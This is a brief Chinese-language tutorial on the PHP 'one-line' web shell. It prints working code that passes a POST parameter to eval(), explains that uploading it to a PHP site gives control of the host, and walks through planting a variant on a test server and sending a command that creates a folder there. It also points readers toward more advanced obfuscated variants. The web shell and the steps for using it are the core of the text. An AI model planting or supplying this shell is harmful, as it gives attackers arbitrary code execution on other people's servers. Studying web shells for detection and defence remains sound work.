summary:將一句話腳本上傳至php網站,然后傳入參數就可控制php網站所在主機,asp網站同等道理。
0x01:代碼
1 <?php 2 @eval($_POST[value]); 3 ?>
分析:
第2行:$_POST[value] 含義:url中post傳入的參數名為value的參數
@eval() 含義:將value內容當做php代碼一樣執行,說白了就是被客戶端插入的php語句。
0x02:演示
s1:本地創建一句話php文件,phps1.php,老黑添加了打印value值的代碼
1 <?php 2 echo "post[value]=".$_POST[value]; 3 echo "<br />"; 4 @eval($_POST[value]); 5 ?>
s2:上傳至php網站
s3:訪問phps1.php,因為沒喲傳入post數據,所以頁面顯示為空
s4:重要時刻到了,老黑要在post中傳入新建一個black的文件
s5:到php服務器下查看是否已經創建了black文件夾,創建成功。
0x03:原理非常簡單,當然這只是用來測試的網站,真正的網站必然會將這么明顯的一句話腳本給查殺掉,但是一句話腳本也有着更高級的變形,想研究的可以自己搜索。
PS:本文僅供研究學習。